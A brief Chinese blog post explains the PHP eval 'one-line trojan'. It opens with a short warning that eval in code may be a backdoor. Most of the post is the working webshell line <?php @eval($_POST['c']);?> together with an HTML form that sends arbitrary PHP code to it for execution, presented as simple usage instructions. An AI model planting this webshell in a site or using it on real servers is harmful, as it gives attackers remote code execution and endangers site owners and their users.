php eval函数一句话木马代码

eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马
就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范
<?php @eval($_POST['c']);?>
使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行
<html>
<body>
<form action="a.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html> 

 

posted @ 2016-02-03 09:42  侠岚之弋痕夕  阅读(772)  评论(0编辑  收藏  举报
Where is the starting point, we don't have a choice, but the destination where we can pursue!